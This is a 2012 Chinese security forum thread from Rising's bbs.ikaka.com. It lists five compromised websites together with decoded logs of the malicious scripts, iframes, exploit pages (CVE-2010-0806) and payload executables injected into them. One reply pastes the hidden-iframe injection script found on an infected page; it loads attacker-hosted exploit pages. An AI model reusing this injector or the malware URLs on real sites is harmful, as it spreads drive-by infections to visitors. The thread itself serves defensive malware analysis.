瑞星网站每日安全播报(2012年2月7日) bbs.ikaka.com

networkedition - 2012-2-7 15:59:00

引用:

网址均来自瑞星每日安全播报，我们详细分析其中所挂恶意网址，对于已失效的恶意网址就不再分析。

引用:

注：以下分析出的恶意网址均包含有真实网马下载地址，请勿直接下载并运行，以免系统中招。

引用:

1. http://www.ivook.com/(万客印象电子杂志)
2. http://www.slgri.com.cn/(上海市园林科学研究所)
3. http://www.hapigo.cn/(北京伟库电子商务科技有限公司)
4. http://www.qqzww.net/(青青中文网)
5. http://210.31.191.75/(内蒙古师范大学外国语学院)

用户系统信息：Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.1; QQDownload 691; .NET CLR 2.0.50727)

networkedition - 2012-2-7 15:59:00

Log generated by networkedition use mdecoder 0.67
[root]http://www.ivook.com/(万客印象电子杂志)
[script]http://dyj.UglyAs.com/b.js?google=2x072
[script]http://gnt.ns02.us/55/atay.htm
[exp]http://gnt.ns02.us/55/6.htm(Exploit.Ie0dayCVE0806.a)
[script]http://gnt.ns02.us/55/ie.jpg
[script]http://gnt.ns02.us/55/iee.jpg
http://gnt.ns02.us/o/vn.exe
[iframe]http://gnt.ns02.us/55/medi.htm
[flash]http://gnt.ns02.us/55/toto.mid
[iframe]http://gnt.ns02.us/55/7.htm
[script]http://gnt.ns02.us/55/ie.jpg
[script]http://gnt.ns02.us/55/iee.jpg
[script]http://gnt.ns02.us/55/ieee.jpg

networkedition - 2012-2-7 15:59:00

Log generated by networkedition use mdecoder 0.67
[root]http://www.slgri.com.cn/
[script]http://t.crabdance.com:10086/images/1.gif
[iframe]http://killer.ignorelist.com:10/images/2.htm
[virus]http://count123.jk136.com:123/js/js/js.js
[iframe]http://killer.ignorelist.com:10/images/1.htm
[iframe]http://killer.ignorelist.com:10/images/tj.htm
[script]http://t.crabdance.com:10086/images/1.gif
[script]http://t.crabdance.com:10086/images/1.gif
[script]http://t.crabdance.com:10086/images/1.gif
[script]http://www.slgri.com.cn/images/mt_dropdownC.js
[script]http://www.slgri.com.cn/images/mt_dropdown_initialize.js
[script]http://www.slgri.com.cn/js/jquery-1.3.2.min.js
[flash]http://www.slgri.com.cn/images/f.swf
[script]http://www.slgri.com.cn/js/jquery.min.js
[script]http://www.slgri.com.cn/js/jquery.hoverIntent.minified.js
[script]http://t.crabdance.com:10086/images/1.gif
[flash]http://www.slgri.com.cn/cu3er.swf
[flash]http://www.slgri.com.cn/bcastr.swf?xml=<data
[script]http://t.crabdance.com:10086/images/1.gif
[script]http://t.crabdance.com:10086/images/1.gif

networkedition - 2012-2-7 15:59:00

Log generated by networkedition use mdecoder 0.67
[root]http://www.hapigo.cn/
[flash]http://www.hapigo.cn/flash/bcastr3.swf
[script]http://wkb.wecoo.com/data/cc/0/8729-2.js
[script]http://bbs2.chickenkiller.com:10086/images/1.gif
[iframe]http://killer.ignorelist.com:10/images/2.htm
[virus]http://count123.jk136.com:123/js/js/js.js
[iframe]http://killer.ignorelist.com:10/images/1.htm
[iframe]http://killer.ignorelist.com:10/images/tj.htm

networkedition - 2012-2-7 16:00:00

Log generated by networkedition use mdecoder 0.67
[root]http://www.qqzww.net/configs/article/yy/bottom.html
[iframe]http://www.digielec.com.cn/ewq.htm
[iframe]http://h0d50t50ui.3322.org:8832/Zr04/index.html
[iframe]http://h0d50t50ui.3322.org:8832/Zr04/1.htm
[script]http://h0d50t50ui.3322.org:8832/Zr04/1.js
[iframe]http://do.qxoz.info:8832/zr04/3.htm
[iframe]http://h0d50t50ui.3322.org:8832/Zr04/2.htm
[flash]http://h0d50t50ui.3322.org:8832/Zr04/nb.swf
[flash]http://h0d50t50ui.3322.org:8832/Zr04/nbwm.swf
[exp]http://h0d50t50ui.3322.org:8832/Zr04/i6.htm(Exploit.Ie0dayCVE0806.a)
[script]http://h0d50t50ui.3322.org:8832/Zr04/i1.js
[script]http://h0d50t50ui.3322.org:8832/Zr04/i2.js
[script]http://h0d50t50ui.3322.org:8832/Zr04/i3.js
[script]http://h0d50t50ui.3322.org:8832/Zr04/i4.js
[script]http://h0d50t50ui.3322.org:8832/Zr04/i5.js
[virus]http://do.qxoz.info:8832/xx/zr04.css
[script]http://t.ads001.com/show_ads.js
[iframe]http://t.ads001.com/,

networkedition - 2012-2-7 16:00:00

Log generated by networkedition use mdecoder 0.67
[root]http://210.31.191.75/(内蒙古师范大学外国语学院欢迎您的光临!)
[script]http://210.31.191.75/mm_menu.js
[flash]http://210.31.191.75/swf/zimu.swf
[script]http://210.31.191.75/alocount/count/count.asp?numstyle=3&numsize=1&numfont=3&countcolor=FF0000
[iframe]http://interlib.sdust.edu.cn:7171/interlib/tmp/Xp_sp2.htm
[script]http://interlib.sdust.edu.cn:7171/interlib/tmp/2.js
[virus]http://interlib.sdust.edu.cn:7171/interlib/tmp/9.exe
[iframe]http://interlib.sdust.edu.cn:7171/interlib/tmp/Xp_sp3.htm
[script]http://interlib.sdust.edu.cn:7171/interlib/tmp/3.js

若蒙 - 2012-2-10 17:50:00

function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1=sb1;expires="+ Then.toGMTString()
document.write("<div style='display:none'>")
document.write("<iframe src=http://killteacher.strangled.net:10/images/2.htm></iframe>")
document.write("<iframe src=http://killteacher.strangled.net:10/images/1.htm></iframe>")
document.write("<iframe src=http://killteacher.strangled.net:10/images/tj.htm></iframe>")
document.write("</div>")}
}Get();

今天发现淘宝网也被挂马

若蒙 - 2012-2-10 17:53:00

http://www.google.com.tw/safebrowsing/diagnostic?site=killer.ignorelist.com

瑞星卡卡安全论坛